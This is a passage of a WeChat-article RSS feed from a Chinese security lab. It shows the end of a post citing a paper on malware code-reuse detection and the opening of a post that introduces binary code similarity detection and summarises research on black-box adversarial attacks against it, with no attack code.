1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">结论</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Mirzaei, O., Vasilenko, R., Kirda, E., Lu, L.,</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">&amp; Kharraz, A. (2021, July). Scrutinizer: Detecting code reuse in malware </span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">via decompilation and machine learning. In </span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">International </span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Conference on Detection of Intrusions and Malware, and Vulnerability Assessment</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">(pp. 130-150). Springer, Cham.</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">注：本文图片均来源于以上论文</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485038&amp;idx=1&amp;sn=3854168edee727201558bcc013be8b4f&amp;chksm=c0ddfc1ff7aa7509c0fe81ab2ee479b92d4a9f5e87a99e08f8784ce78efe2b05fcf31f0588c7&amp;scene=21#wechat_redirect" textvalue="二进制代码相似性检测也能对抗？" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">二进制代码相似性检测也能对抗？</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484929&amp;idx=1&amp;sn=a7422ee543efe7e2eecf1b5e7ebed14d&amp;chksm=c0ddfc70f7aa756656ac00dfe3908c19aa693c00fed40c78f2447a7e15f3258af1cd65347d95&amp;scene=21#wechat_redirect" textvalue="Linux系统下安全控制策略SELinux解" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Linux系统下安全控制策略SELinux解</span><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">析</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484915&amp;idx=1&amp;sn=82f13aaded590b6134c85928adb82888&amp;chksm=c0ddff82f7aa769489b6d69baa3a2b26bf659e36e0df7191226e029165b5824409e6c916c25c&amp;scene=21#wechat_redirect" textvalue="基于SBERT孪生网络的漏洞描述归一化" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于SBERT孪生网络的漏洞描述归一化</span></a></h1><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="34" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=75086562&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485056%26idx%3D1%26sn%3D7c2c0272b9ba81a5f2aceac47fd6176e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 23 Dec 2022 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>二进制代码相似性检测也能对抗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485038&amp;idx=1&amp;sn=3854168edee727201558bcc013be8b4f</link>
      <description>二进制代码相似性检测（BCSD），即两个二进制可执行代码的相似性检测，有着广泛的用途，如软件成分分析、恶意软件检测和软件剽窃检测等应用场景。</description>
      <content:encoded><![CDATA[<p>
原创 <span>三牛</span> <span>2022-12-02 16:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>二进制代码相似性检测（BCSD），即两个二进制可执行代码的相似性检测，有着广泛的用途，如软件成分分析、恶意软件检测和软件剽窃检测等应用场景。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=df39ae86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUIKjwECI4C6stqcCe5THLDREownK5N6QyMwXCMOiagIpwmc8Vic8RDXNw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section msthidden="1" style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" data-type="jpeg" data-w="500" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室</span></strong></section><section msthidden="1" style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-type="gif" data-w="128" data-width="10%" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;margin-bottom: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">二进制代码相似性检测（BCSD），即两个二进制可执行代码的相似性检测，有着广泛的用途，如软件成分分析、恶意软件检测和软件剽窃检测等。</span></section><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;margin-bottom: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">笔者给大家推荐一篇关于BCSD黑盒对抗代码生成算法的论文——FuncFooler:APracticalBlack-boxAttackAgainstLearning-base Binary Code Similarity Detection Methods。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4168241965973535" data-s="300,640" style="" data-type="png" data-w="2116" src="https://wechat2rss.xlab.app/img-proxy/?k=4b5494e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUKMa1P6O2PF4iaW0VToEK1qWS0ViaIich9RUqL7gNzC08libYw86pY3ysHw%2F640%3Fwx_fmt%3Dpng"/></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;margin-bottom: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">论文地址：</span><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://arxiv.org/abs/2208.14191" target="_blank">https://arxiv.org/abs/2208.14191</a></span><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</span></section><h2 cid="n0" mdtype="heading" style="margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;margin-top: 24px;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">二进制代码相似性检测BCSD</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">二进制代码相似性检测，首先对二进制可执行程序进行反汇编，得到反汇编的代码，然后根据代码片段粒度(函数)对反汇编的代码进行切割，得到代码片段，根据代码片段计算两个可执行程序的相似度。</span><br/></p><section style="margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-top: 0px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">传统的分析方法主要是分析代码的特征，可扩展性和检测性能较差。近年来，随着深度学习在各个领域的蓬勃发展，利用深度学习方法获取代码片段的语义信息已成为当下的主流研究方向，当前成熟有效的方案包括</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 